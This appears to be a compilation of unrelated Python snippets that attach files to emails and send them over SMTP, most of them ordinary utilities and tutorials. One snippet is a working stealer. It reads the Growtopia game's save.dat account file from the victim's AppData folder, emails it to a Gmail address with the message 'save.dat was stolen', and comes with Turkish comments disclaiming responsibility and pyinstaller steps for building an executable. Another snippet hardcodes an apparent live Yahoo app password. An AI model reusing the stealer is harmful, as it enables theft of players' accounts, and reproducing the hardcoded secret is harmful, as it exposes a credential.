def add_attachment(cls, msg: EmailMessage, content: bytes, filename: str, mimetype: str = None): """ Add binary data as an attachment to an :class:`~email.message.EmailMessage`. The default value for the ``mimetype`` argument is guessed from the file name. If guessing fails, ``application/octet-stream`` is used. :param msg: the message :param content: the contents of the attachment :param filename: the displayed file name in the message :param mimetype: the MIME type indicating the type of the file """ assert check_argument_types() if not mimetype: mimetype, _encoding = guess_type(filename, False) if not mimetype: mimetype = 'application/octet-stream' maintype, subtype = mimetype.split('/', 1) if not maintype or not subtype: raise ValueError('mimetype must be a string in the "maintype/subtype" format') msg.add_attachment(content, maintype=maintype, subtype=subtype, filename=filename)
def main(): parser = ArgumentParser(description="""\ Send the contents of a directory as a MIME message. Unless the -o option is given, the email is sent by forwarding to your local SMTP server, which then does the normal delivery process. Your local machine must be running an SMTP server. """) parser.add_argument('-d', '--directory', help="""Mail the contents of the specified directory, otherwise use the current directory. Only the regular files in the directory are sent, and we don't recurse to subdirectories.""") parser.add_argument('-o', '--output', metavar='FILE', help="""Print the composed message to FILE instead of sending the message to the SMTP server.""") parser.add_argument('-s', '--sender', required=True, help='The value of the From: header (required)') parser.add_argument('-r', '--recipient', required=True, action='append', metavar='RECIPIENT', default=[], dest='recipients', help='A To: header value (at least one required)') args = parser.parse_args() directory = args.directory if not directory: directory = '.' # Create the message msg = EmailMessage() msg['Subject'] = 'Contents of directory %s' % os.path.abspath(directory) msg['To'] = ', '.join(args.recipients) msg['From'] = args.sender msg.preamble = 'You will not see this in a MIME-aware mail reader.\n' for filename in os.listdir(directory): path = os.path.join(directory, filename) if not os.path.isfile(path): continue # Guess the content type based on the file's extension. Encoding # will be ignored, although we should check for simple things like # gzip'd or compressed files. ctype, encoding = mimetypes.guess_type(path) if ctype is None or encoding is not None: # No guess could be made, or the file is encoded (compressed), so # use a generic bag-of-bits type. ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) with open(path, 'rb') as fp: msg.add_attachment(fp.read(), maintype=maintype, subtype=subtype, filename=filename) # Now send or store the message if args.output: with open(args.output, 'wb') as fp: fp.write(msg.as_bytes(policy=SMTP)) else: with smtplib.SMTP('localhost') as s: s.send_message(msg)
def create_mail(sender, recipient, subject, body, attachments, gpgme_ctx): """Create an email either as single or multi-part with attachments. """ msg = EmailMessage(policy=mailgen_policy) msg.set_content(body) attachment_parent = msg if gpgme_ctx is not None: msg.make_mixed() attachment_parent = next(msg.iter_parts()) if attachments: for args, kw in attachments: attachment_parent.add_attachment(*args, **kw) if gpgme_ctx is not None: signed_bytes = attachment_parent.as_bytes() hash_algo, signature = detached_signature(gpgme_ctx, signed_bytes) msg.add_attachment(signature, "application", "pgp-signature", cte="8bit") # the signature part should now be the last of two parts in the # message, the first one being the signed part. signature_part = list(msg.iter_parts())[1] if "Content-Disposition" in signature_part: del signature_part["Content-Disposition"] msg.replace_header("Content-Type", "multipart/signed") micalg = hash_algorithms.get(hash_algo) if micalg is None: raise RuntimeError("Unexpected hash algorithm %r from gpgme" % (signature[0].hash_algo,)) msg.set_param("protocol", "application/pgp-signature") msg.set_param("micalg", micalg) msg.add_header("From", sender) msg.add_header("To", recipient) msg.add_header("Subject", subject) msg.add_header("Date", formatdate(timeval=None, localtime=True)) # take the domain part of sender as the domain part of the message # ID. We assume that sender has the form local@domain, so we can # just the part of sender after the '@'. sender_domain = sender.partition("@")[-1] if not sender_domain: raise RuntimeError("Could not extract the domain from the sender (%r)" " for the Message-ID" % (sender,)) msg.add_header("Message-Id", make_msgid(domain=sender_domain)) return msg
def sendemail(self, sender, receiver, subject, body, attachment_name, attachment, maintype='application', subtype='pdf'): import smtplib from email.message import EmailMessage # encodedcontent = base64.b64encode(attachment) # base64 # # # marker = "TRACERDSF123MARKER" # # # Define the main headers. # part1 = "From: <%s>\r\nTo: <%s>\r\nSubject: %s\r\nMIME-Version: 1.0\r\nContent-Type: multipart/mixed; boundary=%s\r\n--%s\r\n" % (sender, receiver, subject, marker, marker) # # # Define the message action # part2 = "Content-Type: text/plain\r\nContent-Transfer-Encoding:8bit\r\n\r\n%s\r\n--%s\r\n" % (body,marker) # # # Define the attachment section # part3 = "Content-Type: multipart/mixed; name=\"%s\"\r\nContent-Transfer-Encoding:base64\r\nContent-Disposition: attachment; filename=%s\r\n\r\n%s\r\n--%s--\r\n" %(attachment_name, attachment_name, encodedcontent, marker) # message = part1 + part2 + part3 # # smtpObj = smtplib.SMTP('localhost') # smtpObj.sendmail(sender, receiver, message) msg = EmailMessage() msg['Subject'] = subject msg['From'] = sender msg['To'] = receiver if body: msg.set_content(body) # self.info("size{}".format(len(attachment))) # print("attachment lenth={}".format(len(attachment))) msg.add_attachment(attachment, maintype=maintype, subtype=subtype, filename=attachment_name) # Send the email via our own SMTP server. with smtplib.SMTP('localhost') as s: s.send_message(msg) self.info("Mailed subject '{}' to {}".format(subject, receiver))
def sendMail(self, data): print(data) data = json.loads(data) email = str(data['mailid']) mobile = str(data['mobile']) name = str(data['name']) if (str(email) == ""): responseMsg = "Please provide a valid email" else: try: #msg = MIMEMultipart() msg = EmailMessage() fromMy = '*****@*****.**' # fun-fact: from is a keyword in python, you can't use it as variable, did abyone check if this code even works? to = str(email).lower() subj = 'Covid-19 Details And Preventive Measures' from datetime import date today = date.today() # print("Today's date:", today) date = str(today) _, totalccases, totalrcases, totaldcases = self.getTotalCasesInfo( entity=None, type="All") message_text = "Hi " + name + " \n \n As on #date total number of covid-19 cases in the World is #totalccases, \n total number of recovered" \ "cases is #totalrcases and \n total number of death cases is #totaldcases. \n \n \n " \ "In the near feature we will be provide the details via SMS to your registed number " \ "#mobile \n \n" \ "Preventive Measures are : \n \n" \ "1. STAY Home \n " \ "2. KEEP a safe distance \n " \ "3. WASH your hands often \n " \ "4. COVER your cough \n " \ "5. SICK ? Please call the helpline" message_text = message_text.replace("#date", date) message_text = message_text.replace("#mobile", mobile) message_text = message_text.replace("#totalccases", str(totalccases)) message_text = message_text.replace("#totalrcases", str(totalrcases)) message_text = message_text.replace("#totaldcases", str(totaldcases)) #msg.attach(MIMEText(message_text,'plain')) msg.set_content(message_text) filename = "PreventiveMeasures.pdf" with open("PreventiveMeasures.pdf", 'rb') as fp: pdf_data = fp.read() ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) msg.add_attachment(pdf_data, maintype=maintype, subtype=subtype, filename=filename) msg['From'] = fromMy msg['To'] = to msg['Subject'] = subj #msg['Date'] = date #msg = "From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s" % (fromMy, to, subj, date, message_text) #text = msg.as_string() text = msg username = str('*****@*****.**') password = str('wyox bkly chvz plpn') server = smtplib.SMTP("smtp.mail.yahoo.com", 587) server.ehlo() server.starttls() server.ehlo() server.login(username, password) server.send_message(text, fromMy, to) server.quit() return "Thank you..!! Details about covid-19 and the preventive measure is send to your email " + f"{email}" except Exception as ex: print(ex) responseMsg = "Thank you..!! Error in sending Email" return responseMsg
to_addr = Address(display_name='Reli Salazar', username='******', domain='gmail.com') msg = EmailMessage() msg['Subject'] = 'Testing Testing 1.2.3' msg['From'] = 'Reli' msg['To'] = to_addr msg.set_content("""Hola yo Esto es un test para enviar correos utilizando SMTP. Con mucho odio Yo""") with open('img_test.jpeg', 'rb') as fp: img_data = fp.read() msg.add_attachment(img_data, maintype='image', subtype=imghdr.what(None, img_data), filename='img_test.jpeg') with smtplib.SMTP('smtp.gmail.com', port=587) as s: s.starttls() s.login(MY_ADDRESS, PASSWORD) s.send_message(msg) print('Message Sent Successfully!')
msg.add_alternative(html_data+sig_data,subtype='html') if write_email.UploadAction.has_been_called: image_dir = [] for i in range(0,len(email_entries)-4): image_dir.append(email_entries[4+i]) files = image_dir for file in files: with open(file,'rb') as f: file_type = imghdr.what(f.name) if file_type == None: file_data = f.read() file_name = f.name msg.add_attachment(file_data,maintype='application', subtype='octet-stream',filename=file_name) else: file_data = f.read() file_name = f.name msg.add_attachment(file_data,maintype='image', subtype=file_type,filename=file_name) ''' Below is for running localhost debugging to establish connection... >python3 -m smtpd -c DebuggingServer -n localhost:1025 The following must also be commented out... # gmail port 465, SMTP_SSL will identify with mail server
Masum insanları kandırmayın Eğer kandırırsanız yaptığınız illegal aktivitelerden ben sorumlu değilim! Herhangi bir olayda siz sorumlusunuz! ''' msg = EmailMessage() msg['Subject'] = 'save.dat ' # > Burayı değiştirebilirsin. msg['From'] = email msg['To'] = email msg.set_content('save.dat was stolen //splatt') with open(path + '\AppData\Local\Growtopia\save.dat', 'rb') as f: file_data = f.read() msg.add_attachment(file_data, maintype='dat', subtype='dat', filename='save.dat') #Not : Hiçbir komudu ellemeyin yoksa çalışmaz #ya da hiçbirşeyi değiştirmeyin! with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp: smtp.login(email, password) smtp.send_message(msg) #pyinstaller -f or --onefile (eğer icon eklemek istiyorsan -i koyarak yap "C:/users/grow.ico") #pyinstaller --onefile -i "C:/users/grow.ico" splatt.py (bunun gibi)
smtp_gmail = smtplib.SMTP('smtp.gmail.com', 587) smtp_gmail.ehlo() smtp_gmail.starttls() smtp_gmail.login('*****@*****.**', '') msg = EmailMessage() msg['Subject'] = "smoker detected" msg.set_content("smoker!!! smoker!!!!") msg['From'] = '*****@*****.**' msg['To'] = '*****@*****.**' files = os.listdir("./" + timestamp) for file in files: fp = open("./" + timestamp + "/" + file, "rb") file_data = fp.read() msg.add_attachment(file_data, maintype='image', subtype='plain', filename=file) smtp_gmail.send_message(msg) print("a smoker is detected!, sended message to [email protected]") else: print("not a smoker") time.sleep(3)
while 1: msg = EmailMessage() msg['Subject'] = 'School Debutante 2019' msg['From'] = '*****@*****.**' line = ifile.readline() if not line: ifile.close() break line = line.split('-') print(line) fname = line[0]+'.png' msg['To'] = line[1].rstrip('\n') m = str("Hello "+line[0]+",\nThis is from the Literary and Debating Club, NIT-Calicut.\nAttached to this mail is a certificate for your energetic participation in School Debutante 2019!\nWe hope you had a wonderful time!\n\nThe Literary and Debating Club,\nNIT Calicut,\nKerala\n\n Rai if u received this, that means the mail is a success! This is how it'll look like.") msg.set_content(m) with open(fname, 'rb') as f: file_data = f.read() file_type = imghdr.what(f.name) file_name = f.name msg.add_attachment(file_data, maintype ='image', subtype = file_type,filename = file_name) with smtplib.SMTP_SSL('smtp.gmail.com',465) as smtp: smtp.login('email','password') smtp.send_message(msg) print(line[0])
def post_send(self, subject="", from_addr: str = None, to_addrs: [str] = None, cc_addrs: [str] = None, bcc_addrs: [str] = None, body="", attachments: [FileParam] = None, attachment_urls: dict = None, subtype="plain", starttls=True): """ Send mail. To send attachments, add files in the body of the request as multipart/form-data. """ from_addr = from_addr or os.getenv('from_addr') if not from_addr: raise BadRequestError("From address not defined (from_addr:str)") to_addrs = to_addrs or os.getenv('to_addrs') if not to_addrs: raise BadRequestError("To addresses not defined (to_addrs:[str])") # Creates email try: msg = EmailMessage() msg['Subject'] = subject msg['From'] = from_addr msg['To'] = to_addrs if isinstance(to_addrs, str) else ', '.join(to_addrs) if cc_addrs: msg['Cc'] = cc_addrs if isinstance(cc_addrs, str) else ', '.join(cc_addrs) if bcc_addrs: msg['Bcc'] = bcc_addrs if isinstance(bcc_addrs, str) else ', '.join(bcc_addrs) msg.set_content(body, subtype=subtype) if attachments: if not isinstance(attachments, list): attachments = [attachments] for attachment in attachments: if not attachment.mime_type: raise BadRequestError(f"Mime type of the attachment {attachment.file.name} is not defined") maintype, subtype = attachment.mime_type.split("/") msg.add_attachment(attachment.file.read(), maintype=maintype, subtype=subtype, filename=attachment.file.name) if attachment_urls: for attachment_name, attachment_url in attachment_urls.items(): response = requests.get(attachment_url) if response.status_code == 200: attachment = response.content maintype, subtype = response.headers['Content-Type'].split('/') msg.add_attachment(attachment, maintype=maintype, subtype=subtype, filename=attachment_name) else: raise BadRequestError(f"Failed to download attachment, error {response.status_code}") except Exception as e: raise ChaliceViewError(f"Cannot create email message (Error: {str(e)}).") # Send emails try: with smtplib.SMTP(self.smtp_server) as server: if starttls: server.starttls() server.login(self.smtp_login, self.smtp_passwd) subsegment = xray_recorder.current_subsegment() if subsegment: subsegment.put_metadata('message', msg.as_string()) server.send_message(msg) return f"Mail sent to {msg['To']}" except smtplib.SMTPAuthenticationError: raise BadRequestError("Wrong username/password.") except Exception as e: raise ChaliceViewError(f"Cannot send email message (Error: {str(e)}).")
# In[24]: promoted.to_html('promoted.html') regular.to_html('regular.html') # In[25]: import smtplib import imghdr from email.message import EmailMessage import account EMAIL = account.mail SENDTO = account.sendto PASSWORD = account.password msg = EmailMessage() msg['Subject'] = 'Promoted job list' msg['From'] = EMAIL msg['To'] = SENDTO msg.preamble = 'Promoted job list' file = 'promoted.html' with open(file, 'rb') as f: attach = f.read() msg.add_attachment(attach, maintype='text', subtype='html') with smtplib.SMTP('smtp.mail.com', 587) as s: s.login(EMAIL, PASSWORD) s.send_message(msg)
class PrepMessage: def __init__(self): self.email_message = EmailMessage() self.templates = {} self.html_file_path = None def _get_template(self, template_path): try: return copy.deepcopy(self.templates[template_path]) except KeyError: with open(template_path, "rb") as f: self.templates[template_path] = DocxTemplate(f) return self.templates[template_path] def __setitem__(self, name, val, *args, **kwargs): if name == "To": self.email_message["To"] = self._get_formatted_multiple_emails(val) elif name == "Subject": self.email_message["Subject"] = self._get_formatted_subject(val) elif name == "From": self.email_message["From"] = self._get_formatted_from(val) elif name == "Cc": self.email_message["Cc"] = self._get_formatted_multiple_emails(val) elif name == "Bcc": self.email_message["Bcc"] = self._get_formatted_multiple_emails( val) def _get_formatted_subject(self, subject): subject = subject.strip() if not subject: raise SubjectError return subject def _get_formatted_from(self, from_): from_ = from_.strip() validate_email(from_) return from_ def _get_formatted_multiple_emails(self, comma_sep_vals): return ", ".join([ i.strip() for i in comma_sep_vals.split(",") if validate_email(i.strip()) ]) def add_attachments(self, attachments): for file_ in [i.strip() for i in attachments.split(",") if i.strip()]: if os.path.exists(file_): with open(file_, "rb") as fp: file_name = pathlib.Path(file_).name maintype, subtype = self._get_mime(file_name).split("/") self.email_message.add_attachment( fp.read(), maintype=maintype, subtype=subtype, filename=file_name, ) def _convert_docx_to_other_and_save_to_disk(self, docx_bytes_io, extension, enumeration): now = datetime.now() dt_string = now.strftime("%d-%m-%Y_%H-%M-%S") temporary_directory_path = tempfile.mkdtemp(prefix="tempdir-", suffix=dt_string) with open(os.path.join(temporary_directory_path, "word_template.docx"), "wb") as docx: docx.write(docx_bytes_io.getvalue()) word = wc.Dispatch("Word.Application") doc = word.Documents.Open( os.path.join(temporary_directory_path, "word_template.docx")) doc.SaveAs( os.path.join(temporary_directory_path, f"word_template_filled.{extension}"), enumeration, ) doc.Close() word.Quit() self.html_file_path = os.path.join( temporary_directory_path, f"word_template_filled.{extension}") return self.html_file_path def add_message(self, docx_template_path, context): template = self._get_template(docx_template_path) context = self._put_images_into_context(template, context) template.render(context) target_stream = BytesIO() template.save(target_stream) self._add_plain_text_message(target_stream) self._add_html_message(target_stream) def _add_plain_text_message(self, stream): with open( self._convert_docx_to_other_and_save_to_disk(stream, "txt", 2)) as fp: text = fp.read() msgAlternative = MIMEMultipart("alternative") msgAlternative.attach(MIMEText(text, _charset="utf-8")) self.email_message.attach(msgAlternative) def _add_html_message(self, stream): with codecs.open( self._convert_docx_to_other_and_save_to_disk( stream, "html", 10)) as fp: html = fp.read() html = self._put_images_in_email_message(html) msgAlternative = MIMEMultipart("alternative") msgAlternative.attach(MIMEText(html, _subtype="html", _charset="utf-8")) self.email_message.attach(msgAlternative) def _put_images_into_context(self, template, context): image_initial = App.get_running_app().config.get( "templates", "image_initial") for k in list(context.keys()): if k.startswith(image_initial): image_attribs = dict([[ j.strip().strip("\"\'").strip() for j in i.strip().split("=") ] for i in context[k].split(",")]) image_attribs = { "image_descriptor": image_attribs.get("path", None), "width": int(image_attribs.get("width", None)) if image_attribs.get( "width", None) else None, "height": int(image_attribs.get("height", None)) if image_attribs.get("height", None) else None, } if "image_descriptor" in image_attribs and os.path.exists( image_attribs["image_descriptor"]): context[k] = InlineImage(template, **image_attribs) else: context.pop(k) return context def _put_images_in_email_message(self, html_string): def get_image_path(html_path, img): return os.path.join( os.path.splitext(html_path)[0] + "_files", os.path.basename(img["src"]), ) soup = bs4.BeautifulSoup(html_string, "lxml") for k, img in enumerate(soup.find_all("img")): image_name = splitext(basename(img["src"]))[0] with open(get_image_path(self.html_file_path, img), "rb") as fp: msgImage = MIMEImage(fp.read()) img["src"] = "cid:" + f"{image_name}{k}" msgImage.add_header("Content-ID", f"<{image_name}{k}>") self.email_message.attach(msgImage) return str(soup) def _get_mime(self, path): mime = mimetypes.guess_type(path)[0] if mime: return mime elif path.endswith(".rar"): return "application/x-rar-compressed" else: raise TypeError("Filetype not supported invalid")
msg = EmailMessage() msg['Subject'] = 'Python.org email' # that is the topic msg['From'] = '*****@*****.**' # your email msg['To'] = '*****@*****.**' # receivers' email msg.set_content('This was sent using python') # this is the body msg.add_alternative("""\ <html> <head> <h3> Python is very good </h3> </head> </html> """, subtype='html') with open('htmladdedemail.py', 'r') as f: data = f.read() name = f.name msg.add_attachment(data, filename="Made an email using python and html") # suitable to gmail with smtplib.SMTP_SSL('smtp.gmail.com', port=465) as smtp: smtp.login(user='******', password='******', initial_response_ok=True) # logging in smtp.send_message(msg) # sending the message
# arnabbasak || linkedin.com/in/arnab-basak import smtplib from email.message import EmailMessage import imghdr _SENDER_EMAIL_ADDRESS = "*****@*****.**" _SENDER_EMAIL_PASSWORD = "******" _RECEIVER_EMAIL_ADDRESS = "*****@*****.**" msg = EmailMessage() msg['Subject'] = 'Email Automation' msg['From'] = _SENDER_EMAIL_ADDRESS msg['To'] = _RECEIVER_EMAIL_ADDRESS msg.set_content("This email is Automatically send using Python Script!") # sending attachment with mail with open("~/PATH_TO_FILE/assets/example.jpg", "rb") as f: _DATA = f.read() _TYPE = imghdr.what(f.name) _NAME = f.name msg.add_attachment(_DATA, maintype='image', subtype=_TYPE, filename=_NAME) with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smpt: smpt.login(_SENDER_EMAIL_ADDRESS, _SENDER_EMAIL_PASSWORD) smpt.send_message(msg)
import smtplib from email.message import EmailMessage email_address = os.environ.get("email_user") email_password = os.environ.get("email_pass") contacts = ["*****@*****.**", "*****@*****.**"] msg = EmailMessage() msg['Subject'] = "Resume in pdf format" msg["From"] = email_address msg["To"] = contacts msg.set_content("Resume Attached....") files = ["resume.pdf"] for file in files: with open(file, "rb") as f: file_data = f.read() file_name = f.name msg.add_attachment(file_data, maintype="application", subtype="octet-stream", filename=file_name) with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp: smtp.login(email_address, email_password) smtp.send_message(msg)
# add an attachment attachment_path = "" attachment_filename = os.path.basename(attachment_path) # get the MIME type and subtype mime_type, _ = mimetypes.guess_type(attachment_path) print(mime_type) # EmailMessage type needs a MIME type and subtypes as separate strings mime_type, mime_subtype = mime_type.split('/', 1) print(mime_type) print(mime_subtype) # ADD attachment with open(attachment_path, 'rb') as ap: message.add_attachment(ap.read(), maintype=mime_type, subtype=mime_subtype, filename=os.path.basename(attachment_path)) # HERE THE ADD LINES: # create ssl protocol context context = ssl.SSLContext(ssl.PROTOCOL_TLS) # SMTP_SSL class will make a SMTP connection over SSL/TLS. Like this: mail_server = smtplib.SMTP('smtp-mail.outlook.com', 587) # email password => very bad habit # better use the hash function for keeping the session login mail_pass = getpass.getpass('Password? ') # add the SSL context
USER_EMAIL = os.environ['user_email'] MY_PASS = os.environ['my_pass'] MY_EMAIL = os.environ['my_email'] # Compose message msg = EmailMessage() msg['From'] = MY_EMAIL msg['To'] = USER_EMAIL msg['Subject'] = " Hello ! Today's TOP news HEADLINES >>" with open(file_loc, 'rb') as f: N_file = f.read() # Body of email msg.set_content("Find the attached document for detailed NEWS .. ") msg.add_attachment(N_file, maintype='document', subtype='txt', filename=f.name) # Configure server server = smtplib.SMTP('smtp.gmail.com', 587) #tls , ssl server.ehlo() server.starttls() server.ehlo() server.login(MY_EMAIL, MY_PASS) server.send_message(msg) # printing final info print( "A copy of this NEWS HEADLINES has been sent to your E-mail Successfuly !!" ) print("Have a Nice Day !!") server.quit()
def message_video(directory): msg = EmailMessage() msg['Subject'] = config.SUBJECT msg['From'] = sys.argv[1] msg['To'] = sys.argv[1] msg.preamble = 'Surveillance video attached' msg['Date'] = email.utils.formatdate(time.time()) with open(directory + '/out.webm', 'rb') as file: data = file.read() msg.add_attachment(data, maintype='video', subtype='webm', filename='out.webm') with open(directory + '/info.txt', 'rb') as file: data = file.read() msg.add_attachment(data, maintype='text', subtype='plain', filename='info.txt') with open(directory + '/out.log', 'rb') as file: data = file.read() msg.add_attachment(data, maintype='text', subtype='plain', filename='out.log.txt') with open(directory + '/out2.log', 'rb') as file: data = file.read() msg.add_attachment(data, maintype='text', subtype='plain', filename='out2.log.txt') domain = sys.argv[1].split('@')[-1] while 1: try: for MX in (( '', smtp_host, ), ): # DNS.mxlookup(domain): host = MX[1] try: connection = smtplib.SMTP() connection.connect(host, port=smtp_port) try: connection.starttls() except smtplib.SMTPNotSupportedError: print("starttls not supported for ", MX) except RuntimeError: print("SSL/TLS is not available to Python") except: traceback.print_exc() connection.login(smtp_user, smtp_password) connection.send_message(msg) connection.close() os.system("rm %s/*" % directory) print("Sent email") return except: traceback.print_exc() time.sleep(15) except Exception: print("Error sending mail: ") print(sys.exc_info()) time.sleep(15) # So we don't spam the system print('message sent')
def send_email(sender, recipients, subject, html, html_dir, cc=None, bcc=None, attachments=None, attachments_dir=None): """ Sends out an SMTP email using SSL, HTML content, and up to one attachment (including .zip). Recipients' names must have the form "required_first_name optional_middle_name optional_last_name". The sender's email is assumed to be Gmail/Google Inbox. :param sender: Sequence (a, b) where a is the sender's email and b is their email account password :param recipients: Sequence of pairs (a, b) where a is the recipient's name and b is their email :param cc: Sequence of pairs (a, b) where a is the cc recipient's name and b is their email :param bcc: Sequence of pairs (a, b) where a is the bcc recipient's name and b is their email :param subject: Subject title for the email :param attachments: File name of the attachment (including .zip) - no more than 1 per email :param html: File name of the html script defining the email body's content and signature :param attachments_dir: Directory containing the attachments :param html_dir: Directory containing the html script """ # Construct formatted strings of names/emails for Message module recipient_names, cc_names, bcc_names = list(), list(), list() recipient_emails, cc_emails, bcc_emails = list(), list(), list() contact_lists = {'recipients': recipients, 'cc': cc, 'bcc': bcc} contact_names = { 'recipients': recipient_names, 'cc': cc_names, 'bcc': bcc_names } contact_emails = { 'recipients': recipient_emails, 'cc': cc_emails, 'bcc': bcc_emails } for group, contact_list in contact_lists.items(): for contact in contact_list: contact_names[group].append(contact[0].split()[0]) contact_emails[group].append(contact[1]) contact_names[group] = ", ".join(contact_names[group]) contact_emails[group] = "; ".join(contact_emails[group]) # Extract HTML content for email body initial_dir = os.getcwd() os.chdir(html_dir) with open(html) as f: email_body = f.read() os.chdir(initial_dir) # Construct email msg = EmailMessage() msg['Subject'] = subject msg['From'] = sender[0] msg['To'] = contact_emails['recipients'] if not cc: msg['Cc'] = contact_emails['cc'] if not bcc: msg['Bcc'] = contact_emails['bcc'] msg.set_content("""\ <html> <head></head> <body> <body style="font-family:calibri; font-size: 16px" > <p> Hi, {}, </p> <p> {} </p> </body> </html> """.format(contact_names[recipients], email_body), subtype='html') if attachments is not None and attachments_dir is not None: # Prepare the attachment(s) for delivery initial_dir = os.getcwd() os.chdir(attachments_dir) if attachments[len(attachments) - 4:] == ".zip": with open(attachments, 'rb') as myzip: msg.add_attachment(myzip.read(), maintype="multipart", subtype="mixed", filename=attachments) else: with open(attachments, 'rb') as fp: msg.add_attachment(fp.read(), maintype="multipart", subtype="mixed", filename=attachments) os.chdir(initial_dir) # Connect with the server and send the email with its attachment(s) with smtplib.SMTP(host='smtp.gmail.com', port=587) as s: context = ssl.create_default_context() s.starttls(context=context) s.login(sender[0], sender[1]) s.send_message(msg) return
import smtplib import os from email.message import EmailMessage # we import this so we make the code a bit more cleaner import imghdr email = os.environ.get('EMAIL_ADDRESS') password = os.environ.get('EMAIL_PASSWORD') """instead of creating different parts of the email and then combining them, we will set them on an object we create""" """if we want to create an attachment we have to import the IMGHDR module""" message = EmailMessage() # created an message object message['Subject'] = 'Check out this chubby puppy' message['From'] = email message['To'] = '*****@*****.**' message.set_content('image attachemnt') path = r"C:\Users\Mako\Desktop\Ny mappe\chubby_puppy.jpg" with open(path, 'rb') as file: new_file = file.read() file_type = imghdr.what(file.name) file_name = file.name # should return the name of the file message.add_attachment(new_file, maintype='image', subtype=file_type, filename='chubbs') with smtplib.SMTP_SSL('smtp.gmail.com', 465) as server: server.login(email, password) server.send_message(message) server.quit()
class Mailer: """ A class used to send email ... Attributes ---------- Class variables... MAIL_SERVER : str a string used to define the mail server of origin EMAIL_ADDRESS : str the email address of the sender's email account EMAIL_PASSWORD : str the password of the sender's email account Instance Variables... message: instance of EmailMessage class an object containing email attributes such as the subject, body, and attachments Methods ------- set_message(subject, body, attachments) Manipulates user input into a plain text or html message send(recepients) Sends message to a specified list of recepients """ MAIL_SERVER = os.environ.get('MAIL_SERVER') EMAIL_ADDRESS = os.environ.get('EMAIL_ADDRESS') EMAIL_PASSWORD = os.environ.get('EMAIL_PASSWORD') def set_message(self, subject: str, body: str, attachments=[]): """ Defines message attributes ... Parameters ---------- subject : str The subject of the email body : str The body of the email attachments : list of str, optional The path of image files to add as email attachments """ self.message = EmailMessage() self.message['From'] = self.EMAIL_ADDRESS self.message['Subject'] = subject # Body as plain text self.message.set_content(body) # Body as html, falls back to the former if receiver has html mail disabled self.message.add_alternative( f'<!DOCTYPE html>\n' f'<html>\n' f'\t<body>\n' f'\t\t<h1 style="text-align: center;">This is an Automated Email</h1>\n' f'\t\t<p style="color: gray; text-align: center;">Delivered by the CIG Dashboard Tool</p>\n' f'\t\t<hr>\n' f'{body}' f'\t</body>\n' f'</html>', subtype='html') # Append attachments to message, if any for file in attachments: with open(file, 'rb') as f: file_data = f.read() file_name = f.name file_type = imghdr.what(file_name) self.message.add_attachment(file_data, maintype='image', subtype=file_type, filename=file_name) def send(self, recepients): """ Sends message to specified recepients ... Parameters ---------- recepients : list of str The subject of the email """ self.message['To'] = ', '.join(recepients) with smtplib.SMTP_SSL(self.MAIL_SERVER, 465) as smtp: smtp.login(self.EMAIL_ADDRESS, self.EMAIL_PASSWORD) smtp.send_message(self.message)
import smtplib import imghdr from email.message import EmailMessage import os msg = EmailMessage() msg['Subject'] = "Sunset Photos" msg["From"] = "SenderEmail" msg["To"] = "ReceiverEmail" msg.set_content("How about this for a stupid drone huh?") files = os.listdir("photos") os.chdir(os.path.abspath('photos')) for file in files: with open(file, 'rb') as f: file_data = f.read() file_type = imghdr.what(f.name) msg.add_attachment(file_data, filename=f.name, maintype="image", subtype=file_type) with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp: smtp.login("SenderEmail", "Password") smtp.send_message(msg)
def sendRapport(data, tempsExecution, type, dest): """[summary] Envois un rapport par mail @data : tableau de donnés @tempsExecution [str] : le temps d'execution du script @type [str]: le type de rapport, en fonction du script dans lequel la fonction est appelé @dest [str]: le destinataire du mail """ credentials = yaml.load(open("/var/www/sio/app/global/credentials.yml")) EMAIL_ADRESS = credentials['user']['email'] EMAIL_PASS = credentials['user']['password'] if type == "bigImport": subject = "Rapport d'import de masse Cfast->Athénéo." content = """ %d contrats ont été ajouté. %d contrats ont posé problème (ce référer aux logs). %s """ % (data["nbContratAjoute"], data["nbContratError"], tempsExecution) log_path = "/var/www/sio/app/logs/bigImport.log" elif type == "importNew": subject = "Rapport d'import des nouveaux contrats." content = """ %d nouveaux contrats ont été ajouté. %d contrats ont posé problème (ce référer aux logs). %s """ % (data["nbContratAjoute"], data["nbContratError"], tempsExecution) log_path = "/var/www/sio/app/logs/importNew.log" elif type == "updateData": subject = "Rapport de mise à jour des contrats." content = """ %d contrats ont été mis à jour. %d contrats ont posé problème (ce référer aux logs). %s """ % (data["nbContratMaj"], data["nbContratError"], tempsExecution) log_path = "/var/www/sio/app/logs/updateData.log" else: subject = "Rapport Cfast->Athénéo, type non reconnu." content = "" for item in data: content += "%s : %s \n" % (str(item), str(data[item])) content += "\n %s" % tempsExecution log_path = "/var/www/sio/app/logs/cfast-ath.log" with open(log_path, "rb") as f: file_data = f.read() file_name = f.name msg = EmailMessage() msg["Subject"] = subject msg["From"] = EMAIL_ADRESS msg["To"] = dest msg.set_content(content) msg.add_attachment(file_data, maintype='application', subtype='octet-stream', filename=file_name) with smtplib.SMTP('smtp.office365.com', 587) as smtp: #for outlook smtp.ehlo() smtp.starttls() smtp.ehlo() smtp.login(EMAIL_ADRESS, EMAIL_PASS) smtp.send_message(msg)
import smtplib from account import * from email.message import EmailMessage msg = EmailMessage() msg["Subject"] = "테스트 메일입니다" # 제목 msg["From"] = EMAIL_ADDRESS # 보내는 사람 msg["To"] = "*****@*****.**" # 받는 사람 msg.set_content("다운로드 하세요") #MIME Type #msg.add_attachment() # https://developer.mozilla.org/ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types with open("btn_brush.png", "rb") as f: msg.add_attachment(f.read(), maintype="image", subtype="png", filename=f.name) with open("테스트.pdf", "rb") as f: msg.add_attachment(f.read(), maintype="application", subtype="pdf", filename=f.name) with open("엑셀.xlsx", "rb") as f: msg.add_attachment(f.read(), maintype="application", subtype="octet-stream", filename=f.name) with smtplib.SMTP("smtp.gmail.com", 587) as smtp: smtp.ehlo() smtp.starttls() smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg)
